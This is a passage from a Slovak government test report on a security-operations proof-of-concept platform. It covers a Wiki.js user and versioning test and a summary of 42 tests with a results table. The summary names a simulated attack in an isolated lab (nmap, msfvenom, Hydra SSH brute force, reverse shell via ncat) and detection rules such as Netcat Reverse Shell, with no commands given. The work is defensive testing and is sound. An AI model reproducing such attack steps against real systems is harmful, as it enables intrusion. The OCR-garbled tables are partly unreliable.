nastavenia (Casové pasmo, format datumu, vzhlad rozhrania) a sekcia autentifikacie vratane
spravy prihlasovacich udajov. Overovalo sa priradenie pouzivatelov do skupin (napr.
Administrators) a evidencia aktivity — Udaje o prihlaseniach a pocte vytvorenych stranok.
Overovala sa sprava roli a pristupovych prav, ktora bola v ramci PoC konfigurane pripravena.
Overovalo sa verziovanie obsahu — schopnost systému uchovavat verzie dokumentov a
poskytovat informacie o zmenach.

Vychodiskovy stav: Wiki.js bol nasadeny a dostupny (overené testom TS-WIKI-01). V
systéme boli zavedeni pouzivatelia s priradenymi profilmi a skupinami. Systém bol
konfiguraCne pripraveny na spravu pouzivatelov, roli a pristupovych prav. Databazova vrstva
(PostgreSQL) zabezpecfovala ukladanie obsahu a jeho verzii. Znalostna baza obsahovala
existujuce stranky s dokumentaciou zavedenou v ramci PoC.

Postup testu:

1. V sekcii spravy pouzivatelského profilu sa overili informacie o pouzivatelovi —
zobrazované meno, lokalita, pracovna pozicia a dalSie profilové udaje.

2. Overili sa konfiguracné nastavenia profilu — ¢asové pasmo, format datumu a vzhlad
rozhrania, ktoré umozfuju prispdsobenie pouzivatelského prostredia.

3. V sekcii autentifikacie sa overila sprava prihlasovacich udajov vratane moznosti zmeny

hesla.

4. Overilo sa priradenie pouzivatela do skupin — zobrazenie skupiny (napr.
Administrators) v ramci profilu a overenie, Ze priradenie zodpoveda konfiguracii
systemu.
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5. Overila sa evidencia aktivity pouzivatela — udaje o prihlaseniach a pocte vytvorenych
stranok, ktoré su zobrazené v ramci profilu.
6. V administrathom rozhrani sa overila sprava pouzivatefov a skupin — pritomnost
zoznamu pouzivatelov, mozZnost zobrazenia detailov a priradenie roli.
7. Overilo sa verziovanie obsahu — pri existujucej stranke sa vykonala editacia a po
ulozeni sa overilo, ze systém uchoval predchadzajucu verziu a eviduje zmeny.
8. Overila sa dostupnost informacii o histérii zmien — moznost zobrazit verzie dokumentu
a identifikovat, kto a kedy zmeny vykonal.

Ocakavany vysledok: O¢akavanym vysledkom je, ze Wiki.js umozni spravu pouzivatelskych
profilov s relevantnymi udajmi (meno, lokalita, pozicia), konfiguracné nastavenia a spravu
autentifikacie. Priradenie do skupin a evidencia aktivity maju byt funk&né. Sprava pouzivatelov
a skupin ma byt dostupna v administratnom rozhrani. Verziovanie obsahu ma uchovavat
predchadzajuce verzie dokumentov a systém ma poskytovat informacie o histoérii zmien
vratane identifikacie autora a ¢asu zmeny.

Skutoény vysledok: V sekcii spravy pouzivatelského profilu boli zobrazené informacie o
pouzivatelovi — zobrazované meno, lokalita, pracovna pozicia a dalSie profilové udaje.
Konfiguracné nastavenia profilu (Casové pasmo, format datumu, vzhlad rozhrania) boli
dostupné a umoznovali prispbdsobenie pouzivatelského prostredia. Sekcia autentifikacie bola
funkéna a umoziovala spravu prihlasovacich udajov vratane zmeny hesla. Priradenie
pouzivatela do skupiny (Administrators) bolo zobrazené v ramci profilu a zodpovedalo
konfiguracii systému. Evidencia aktivity pouzivatela (udaje o prihlaseniach a pocte
vytvorenych stranok) bola dostupna. V administraénom rozhrani bola pristupna sprava
pouzivatelov a skupin — zoznam pouZivatelov, detaily a priradenie roli. Verziovanie obsahu
bolo funkéné — po editacii stranky systém uchoval predchadzajucu verziu a evidoval vykonanu
zmenu. Informacie o histérii zmien boli dostupné a umoznovali identifikovat, kto a kedy zmenu
vykonal. PoCas testu neboli pozorované kritické chyby.

Vyhodnotenie testu: Splnené.

Na =zaklade vykonaného overenia mozno konstatovat, Ze Wiki.js umozZniuje spravu
pouzivatelskych profilov, riadenie pristupovych prav prostrednictvom skupin a verziovanie
obsahu s evidenciou zmien v prostredi PoC.

Zistenia a poznamky: Test TS-WIKI-03 overoval spravu pouzivatelov, pristupovych prav a
verziovanie obsahu v rozsahu PoC. Sprava pouzivatelskych profilov a skupin je z pohladu
SOC architektury dolezita pre riadenie pristupu k internej dokumentacii a zabezpecenie
kontrolovaného zdielania znalosti v ramci timu. Priradenie do skupin (napr. Administrators)
umoznuje diferencovany pristup podfa roli, ¢o je predpoklad pre riadenie opravneni v kontexte
bezpeCnostnej dokumentacie. Verziovanie obsahu a evidencia zmien zabezpecduju
dohladatelnost uprav dokumentacie, o je dblezité z pohlfadu auditovatelnosti a spatného
skimania v SOC prostredi. V ramci PoC neboli implementované pokrocilé scenare, ako
napriklad schvalovacie workflow pre publikovanie zaznamov alebo automatizované vazby na
ostatné komponenty SOC (automatické referencovanie incidentov, integracia so
SIEM/SOAR), ¢o zodpoveda dokumentovanym obmedzeniam. Wiki.js v tejto etape fungoval
primarne ako samostatny dokumentaény systém bez SirSich integracnych vazieb.

Zaver: Test preukazal, ze Wiki.js je v prostredi PoC schopny spravovat pouzivatefov a ich
pristupoveé prava, verziovat obsah a evidovat zmeny. Tym bola potvrdena jeho pouZitefnost
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ako riadene pristupnej znalostnej vrstvy v ramci SOCaaS rieSenia INNOSOC, ktora
zabezpecCuje kontrolovany pristup k dokumentacii a dohladatelnost jej zmien.

13.4 Suhrnné hodnotenie testovania funkénosti komponentu Wiki.js

Identifikator Nazov testu ‘ Typ testu Overovana oblast’ ‘ Vyhodnotenie
Overenie dostupnosti, Nasadenie, admin
TS-WIKI-01 nasadenia a Funkény test | dashboard, System Info, Splnené
administracie Wiki.js technologicky stack
Overenie tvorby, Struktur Tvorba dokumentacie,
TS-WIKI-02 . y, Struxiury Funkény test | runbooky, playbooky, Splnené
a spravy dokumentéacie navigacia, komentare
Ovevrgnle §pravy Pouzivatelia, skupiny,
pouzivatelov, .
TS-WIKI-03 ristu ov'ch' rav a Funkény test | pristupové prava, Splnené
pristupovych p verziovanie, histéria zmien
verziovania
URAD VLADY
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14 Celkové vyhodnotenie testov

14.1 Rozsah a metodika testovania

Testovanie realizované v ramci dokumentu V17 pokryvalo vSetky klu€ové komponenty
navrhovanej platformy SOCaaS INNOSOC. Celkovo bolo vykonanych 42 testov rozdelenych
do 13 kapitol, priCom testy pokryvali Siroké spektrum oblasti — od experimentalneho overovania
metdd strojového ucCenia a umelej inteligencie, cez simulované bezpe€nostné utoky a
automatizované testovanie detek&nych pravidiel, az po funkéné a integracné testy jednotlivych
komponentov nasadeného PoC rieSenia.

14.2 Kategorie testov
Z hladiska metodického pristupu boli testy rozdelené do nasledujucich kategorii:

Experimentalne testy (kapitola 1) — zamerané na overenie metdd strojového ucenia pre
detekciu bezpe€nostnych hrozieb (spam, DoS/DDoS, malware, phishing, APT). Testy
porovnavali viaceré ML algoritmy (Decision Tree, SVM, XGBoost, Random Forest, Naive
Bayes, logisticka regresia, HDBSCAN, FNN) na Standardizovanych datasetoch a
vyhodnocovali ich presnost, preciznost a celkovu pouzitelnost pre nasadenie v SIEM
prostredi.

Simulaéné testy (kapitola 3) — realizacia simulovaného utoku podla modelu Cyber Kill
Chain v izolovanom testovacom prostredi. Utok prechadzal fazami prieskumu
(Zenmap/nmap), zbrojenia (msfvenom), zneuzitia (Hydra brute-force SSH), instalacie (reverse
shell), ovladania (ncat) a akcii na ciel, pricom sa overovala schopnost nasadeného ELK
Stacku detekovat jednotlivé fazy prostrednictvom SIGMA pravidiel.

Automatizované testy (kapitola 4) — vyuzitie kniznice Atomic Red Team pre
systematické testovanie detekénych pravidiel nasadeného SIEM. Na zaklade MITRE ATT&CK
technik definovanych v detekénych pravidlach boli automaticky spustané zodpovedajuce testy
pre platformu Linux a vyhodnocovana uspesnost ich detekcie.

Manualne testy (kapitola 5) — overenie korelacnych pravidiel simulaciou neuspesnych
prihlaseni pre rézne systémy (Greenbone, Linux, Kibana), vratane overenia spravneho
generovania bezpec€nostnych alertov pri prekroCeni definovanych limitov.

Zatazove testy (kapitola 6) — monitorovanie vyuzitia opera¢nej pamate komponentov
ELK Stacku (Elasticsearch uzly master/hot/warm/cold, Logstash, Kibana) pomocou Metricbeat
za obdobie Siestich dni. Vysledky preukazali efektivne vyuzitie zdrojov bez pretazenia.

Integracné testy (kapitola 7) — overenie vzajomného prepojenia komponentov DFIR-
IRIS, Shuffle (SOAR) a OpenCTI. Testovany bol kompletny tok od centralizacie alertov z
Wazuh, cez spravu incidentov, notifikacie, az po automatizovanu orchestraciu prostrednictvom
API volani medzi komponentmi.

Funk&né testy komponentov (kapitoly 2, 8-13) — individualne overenie funkénosti
kazdého nasadeného komponentu: Wazuh (FIM, SCA, notifikacie), NetBox (evidencia
infrastruktury, topoldgia), Greenbone CE (skenovanie zranitelnosti, integracia s ELK), GLPI
(CMDB, ticketing), Wiki.js (dokumentacia, verziovanie) a ELK Stack (nasadenie clustra,
dashboardy, bezpe¢nostna konfiguracia).
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VSetky testy boli realizované v experimentalnom prostredi PoC nasadenom na
infradtrukture OpenStack. Testované komponenty boli prevadzkované ako samostatné
inStancie s definovanymi integracnymi vazbami. Pre simula&né testy bola vytvorena izolovana
testovacia infrastruktira s oddelenym Kibana space , Testing" a separatnou index Sablénou,
¢o umoznilo bezpecné vykonavanie penetracnych testov bez vplyvu na produkéné data.

Kap. Komponent ‘ Identifikator ‘ Nazov testu Typ testu Overovana oblast’ | Vyhodnotenie
Kapitola 1 — Strojové uc¢enie a umela inteligencia v oblasti kybernetickej bezpe€nosti
Klasifikacia spam/ham
Detekcia pomocou ML metdd (Decision
11 ML/AI TS-ML-01 neZ|§duc’:|ch ] Experimentalny | Tree, SVM,.X‘GBE)ost, Nglve Splnené
emailovych sprav | test Bayes, Logisticka regresia) na
(Spam) datasetoch SpamAssassin a
SMS Spam
Analyza Statistickych
parametrov IP tokov
(variabilnost, Sikmost,
M Detekcia Experimentalny | Spicatost, Hurstov exponent) .
12 ML/AI TS-ML-02 DoS/DDoS utokov | test pre rychlu detekciu DDoS Spinené
utokov; metéda detekénych
hranic (MDH) a predikénych
tunelov (MPT)
Klasifikacia sietovej prevadzky
Detekcia Experimentainy | Pe detekciu malvéru typu
1.3 ML/AI TS-ML-03 Skodlivého kodu ¢ P y trojsky kén pomocou ML Splnené
est .
(Malware) metdéd (Random Forest,
AdaBoost, GaussianNB, FNN)
Analyza logov pomocou
klastrovacich metod (K-
Detekcia | Experimentalny Means, HDBSCAN) pre
1.4 ML/AI TS-ML-04 L identifikaciu phishingovych Splnené
phishing test - .
aktivit; pravdepodobnostné
skore na zaklade vzdialenosti
od klastrov
Detekcia Klasifikacia APT utokov na
okrodilveh Experimentaln datasete DAPT2020 pomocou
15 | MUAI TS-ML-05 pokroctyeh P Y| ML metod (Random Forest, Splnené
perzistentnych test e N
. SVM, Logisticka regresia);
hrozieb (APT) : i
feature importance analyza
Kapitola 2 — Overenie nasadenia, vizualizacie a bezpe€nostnej konfiguracie ELK Stack
Overenie Elasticsearch cluster (7 uzlov),
21 |ELK Stack |TS-ELk-01 |Nasadeniaa Funkény test | ogstash pipeline, Kibana Spinené
dostupnosti ELK rozhranie, vzajomna
Stacku komunikacia
Overenie
vizualizacie Discover, dashboardy (IDS
2.2 ELK Stack TS-ELK-02 bezpecnostnych Funkény test DMZ, Login Activity, Zatazenie | Splnené
dat a analytickych Stacku), Spaces
dashboardov
Overenie
23 |ELK Stack | TS-ELK-03 | bezpecnostnej Funkény test | L5 RBAG, keystore, ILM, 1 g0 e
L Stack Monitoring, audit logging
konfiguracie,
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retenénej politiky a
monitorovania

Kapitola 3 — Testovanie detekcie incidentov v ELK pomocou simulovaného utoku Cyber Kill Chain

Nasadenie testovacej
infrastruktury — izolacia v

Priprava Kibana space ,Testing",
3.1 ELK Stack TS-CKC-01 testovacej Simulaény test | separatna index Sablona Splnené
infrastruktury ,2auditbeat-testing", Auditbeat
agent na ciefovom Ubuntu
stroji
Fazy utoku: prieskum
. (Zenmap/nmap), zbrojenie
gﬁwallllf)?/g:ého (msfvenom), zneuzitie (Hydra
3.2 ELK Stack TS-CKC-02 . ) Simulacény test | brute-force SSH), instalacia Splnené
utoku podla Cyber § LT
Kill Chain (novy admin Ucet, reverse
shell), C2 (ncat), akcie na ciel
(sietovy sken)
Detekéné schopnosti ELK —
. vyvolané SIGMA pravidla
zj/é/reokci?gteme (Network Service Scanning,
3.3 ELK Stack TS-CKC-03 . Simulaény test | User Account Creation, Splnené
nasadeného SIEM L
ELK Privileged User, Netcat
Reverse Shell, Cat Sudoers,
Password Guessing a dalSie)
Kapitola 4 — Automatické testovanie detekénych pravidiel v ELK pomocou Atomic Red Team
Identifikacia MITRE ATT&CK
Popis a realizacia technik z detekénych pravidiel,
41 ELK Stack TS-ART-01 testoyameho . Automatizovany vybe{ z.odpoved.ajucmh testov Spinené
scenara Atomic test z kniznice Atomic Red Team
Red Team pre platformu Linux,
automatické spustanie testov
Vyhodnotenie prerekvizit,
Vyhodnotenie Uspesnosti testov a detekcie ;
) : vysledkov Automatizovany | ELK pre jednotlivé MITRE Ciastocne
4.2 ELK Stack TS-ART-02 automatického test ATT&CK techniky; identifikacia | splnené
testovania pravidiel bez testov a testov s
chybovymi kodmi
Kapitola 5 — Manualne testovanie korelacnych pravidiel v Kibane
Overenie korela¢nych pravidiel
Testovanie simulaciou neuspesnych
ELK Stack / korelaénych prihlaseni pre Greenbone,
5.1 . TS-KOR-01 pravidiel Manualny test Linux systémy a Kibanu; Splnené
Kibana h .
(Greenbone, overenie generovania alertov
Linux, Kibana) pri prekro¢eni/nedosiahnuti
limitu pokusov
Kapitola 6 — Testovanie zat'azenia nasadeného systému ELK Stack
Monitorovanie vyuzitia RAM
komponentov ELK stacku
Monitorovanie (Elasticsearch uzly
zatazenia o~ . master/hot/warm/cold, .
6.1 ELK Stack TS-ZAT-01 komponentov ELK Zatazovy test Logstash, Kibana) pomocou Splnené
Stack Metricbeat; dashboard
,Zatazenie Stacku" za obdobie
6 dni
Kapitola 7 — Testy integracie medzi komponentami a evidencie incidentov v DFIR-IRIS
71 |DFIRIRIS | TsDIR-01 | Contalizacaa gy test | IMPOMtalertovz Wazuhdo | g0 ng

prehlad alertov

DFIR-IRIS; prehladné
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zobrazenie zoznamu alertov s
nazvom, zavaznostou,
zdrojom a ¢asom vytvorenia
Zobrazenie detailu alertu
(pravidlo detekcie, zavaznost,
Detail alertu a zdroj, MITRE ATT&CK
7.2 DFIR-IRIS TS-DIR-02 ieh . Integracny test | klasifikacia, log zaznam); Splnené
Jeho sprava zmena stavu alertu (New, In
progress, Pending, Closed,
Merged)
Priradenie alertu analytikovi —
Priradovanie rychle priradenie (,Assign to
7.3 DFIR-IRIS TS-DIR-03 . Integracny test | me"), manualne priradenie Splnené
alertov analytikom L Y S .
inému c¢lenovi timu; sprava
pouzivatelov
Moduly DFIR-IRIS —
IrisWebHooks, konfiguracia
Test modulov a pravidiel pre webhook
7.4 DFIR-IRIS TS-DIR-04 rozSiritelnost Integracny test | spustanie, definovanie URLa | Splnené
systému JSON obsahu sprav,
automatizacia pri spracovani
alertov
Emailové notifikacie pri zmene
Notifikacie a stavu alertu, priradeni
7.5 DFIR-IRIS TS-DIR-05 . Integracny test | analytikovi a eskalacii do Splnené
automatizacia Lo X R
incidentu; konfiguracia
webhookov pre rézne udalosti
Eskalacia alertu do
Incident in(’:identného‘pripgduv; sprr:llva
management .. pf'p.a.d“ (popis, ze.waznost, .
7.6 DFIR-IRIS TS-DIR-06 (case Integracny test | suvisiace udalosti); zmena Splnené
management) stavu (Open, Eradication);
definovanie vysledku (True
Positive, False Positive)
Uzavretie incidentného
Uzatvorenie pripadu; emailova notifikacia s
7.7 DFIR-IRIS TS-DIR-07 incidentu a Integracny test | vysledkom spracovania; Splnené
notifikacie automatické ukoncenie
spracovania prislusného alertu
Transformacia alertu z
Elasticsearch cez Shuffle do
DFIR-IRIS / - )
78 |shuffie/ | Ts-DIR-08 | Frepojenie SOAR I\ oo aeny test | OPENCTI APl volania Spinené
OpenCTl Shuffle a OpenCTI (|r.1d|cator.l!st, .
pen
stix_domain_object.read,
incident.list, incident.create)
Odosielanie alertov zo Shuffle
- do DFIR-IRIS; API volania
Prepojenie SOAR ’ 1 Y.
7.9 25 IRAIRIS/ | 15DIR-09 | Shuffle a DFIR- | Integracny test | /Manage/cases/add a dalie); | g0 a
uffle RIS evidencia incidentov,
forenzika, koordinacia timov a
uzavretie pripadu
Kapitola 8 — Testovanie komponentu NetBox
Overenie
dostupnosti a Nasadenie sluzby, sietova
8.1 NetBox TS-NB-01 zakladnej Funkény test dostupnost, webové rozhranie, | Splnené
funk&nosti autentifikacia
NetBoxu
Overenie Webové rozhranie —
8.2 NetBox TS-NB-02 webového Funkény test d , . , Splnené
) ostupnost a funkénost
rozhrania a
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pouzivatelského
pristupu
Evidencia Evidencia objektov —
8.3 NetBox TS-NB-03 objektov Funkény test vytvorenie zakladnych Splnené
infrastruktury objektov infrastruktury
Vyuzitie NetBoxu Kontext pre PoC — Ciastoéne
8.4 NetBox TS-NB-04 ako kontextového | Funkény test pouzitelnost ako evidencny a .
. . S : splnené
nastroja pre PoC kontextovy nastroj
Automatizovana . L. -
intearacia Automatizovana integracia —
8.5 NetBox TS-NB-05 g <. | Integracny test | prepojenie s ostatnymi Splnené
NetBoxu s dal§imi :
) komponentami PoC
komponentami
Obohatenie Obohatenie udalosti — vyuZitie |
86 | NetBox Ts-NB-og | udalostio Integragny test | No1BOX dét pre kontextove | Ciastocne
infrastruktarny informacie pri spracovani splnené
kontext bezpecnostnych udalosti
8.7 NetBox TS-NB-07 zobrazenie vazieb | Integracny test plugin et ,opology Views, Splnené
T : vizualizacia vztahov medzi
medzi objektmi . o
zariadeniami
Kapitola 9 — Testovanie detekcie incidentov v nastroji Wazuh
Modul Threat Hunting —
Zaznamenanie zaznamenavanie udalosti,
9.1 Wazuh TS-DW-01 udalosti — Funkény test zobrazenie timestamp, Splnené
incidentu agent.name, rule.description,
level.id, rule.id
Modul Vulnerability Detection
Skenovanie — zoznam CVE, zavaznost
9.2 Wazuh TS-DW-02 o . Funkény test CVSS, identifikacia Splnené
zranitelnosti . . -
zranitelnych balikov a verzii,
dostupné opravy
Modul SCA — kontrola
nastaveni podla
Confiquration bezpecnostnych Standardov
9.3 Wazuh TS-DW-03 9 Funkény test (CIS Benchmarks), Splnené
Assessment . e e . .
identifikacia slabych hesiel,
nespravnych prav, otvorenych
portov
Modul Inventory Data —
prehlad sledovanych
9.4 Wazuh TS-DW-04 Inventar dat Funkény test systémov, sietové rozhrania, Splnené
IP adresy, beziace procesy,
nainstalovany softvér a verzie
Integracia Wazuh — MS
Teams cez Incoming
9.5 Wazuh TS-DW-05 POS.I.el‘?n.',e Integracny test .\/Vebho’oll(; Ac.iaptlve (?ards s Splnené
notifikacii informaciami o severity,
agentovi, rule ID, popise
udalosti a ¢ase
Kapitola 10 — Overenie nasadenia, vizualizacie a bezpeénostnej konfiguracie ELK Stack
Overenie FIM — detekcia vytvorenia,
101 | wazun TS-WZ-01 monitorovania Funkény test modifikacie a vymazania Splnené
' integrity suborov Y suborov, real-time a who-data P
(FIM) monitoring
Overenie SCA - CIS benchmarky,
10.2 | Wazuh TS-Wz-02 hodnotenia Funkény test compliance mapovanie, Splnené
bezpecnostnej remediacia a spatna vazba
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konfiguracie
(SCA)
Overenie
konfiguracie Notifikacie — Incoming
10.3 | Wazuh TS-WZ-03 notifikaénych Funkény test Webhook, Adaptive Card, Splnené
vazieb Wazuh do filtrovanie podla zavaznosti
MS Teams
Kapitola 11 — Overenie nasadenia, vizualizacie a bezpe€nostnej konfiguracie ELK Stack
Greenbone (?c;/;etzenr:zsti Nasadenie, GSA rozhranie,
1.1 TS-GB-01 vp L Funkény test NVT databéaza, skenovacie Splnené
CE funkénosti a konfiguracie, Schedules
aktualnosti NVT g '
Greenbone Sk‘;er:g\r/‘;ia Skenovanie, CVSS/CVE/QoD
11.2 TS-GB-02 o . Funkény test klasifikacia, reporting, Splnené
CE zranitelnosti a : ; .
. ; priradenie k systémom
analyzy vysledkov
Greenbone koc:/r?firgeLTchie Filebeat agent, Logstash
11.3 TS-GB-03 : : Funkény test pipeline, index gvm- Splnené
CE odosielania logov reenbone, Kibana Discover
do ELK Stacku 9 :
Kapitola 12 — Overenie nasadenia, vizualizacie a bezpeénostnej konfiguracie ELK Stack
Overenie
dostupnosti, Nasadenie, webové rozhranie,
12.1 | GLPI TS-GLPI-01 evidencie IT aktiv | Funkény test CMDB evidencia, Splnené
a CMDB kategorizacia aktiv
funk&nosti
Overenie
ticketingového Ticketing, zivotny cyklus
12.2 | GLPI TS-GLPI-02 | systému a Funkény test incidentov, dashboard Splnené
riadenia zivotného Assistance
cyklu incidentov
Overenie
evidencie Softvérové aktiva,
12.3 | GLPI TS-GLPI-03 softvérovych aktiv, | Funkény test dokumentécia, Splnené
dokumentacie a auditovatelnost, vazby
auditovatelnosti
Kapitola 13 — Overenie nasadenia, vizualizacie a bezpeénostnej konfiguracie ELK Stack
Overenie
dostupnosti, Nasadenie, admin dashboard,
13.1 | Wiki.js TS-WIKI-01 nasadenia a Funkény test System Info, technologicky Splnené
administracie stack
Wiki.js
Overenie tvorby, Tvorba dokumentacie,
13.2 | Wiki.js TS-WIKI-02 | Struktury a spravy | Funkény test runbooky, playbooky, Splnené
dokumentacie navigacia, komentare
ngzrﬁ,r;teeﬁgvravy Pouzivatelia, skupiny,
13.3 | Wiki.js TS-WIKI-03 ’ Funkény test pristupové prava, verziovanie, | Splnené

pristupovych prav
a verziovania

histéria zmien
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14.5 Suhrnné vyhodnotenie

Celkovy pocet
42
testov
Splnené 39
Ciastoéne 3
splnené
Nesplnené 0
. JAl, Wazuh, ELK Stack, Kibana, DFIR-IRIS, Shuffle, OpenCTI
testovanych 10 (ML/AI, Wazuh, tac , Kibana, - , uffle, Open ,
NetBox, Greenbone CE, GLPI, Wiki.js)
komponentov

14.6 Celkové zhodnotenie vysledkov

Realizované testovanie preukazalo, Zze navrhovana architektura platformy SOCaaS
INNOSOC je funkéna a prevadzkovo spdsobila v rozsahu PoC. Vysledky 42 testov potvrdzuju,
ze vSetky klu€ové komponenty boli uspeSne nasadené, nakonfigurované a su schopné plinit
svoju ulohu v ramci bezpecnostného ekosystému.
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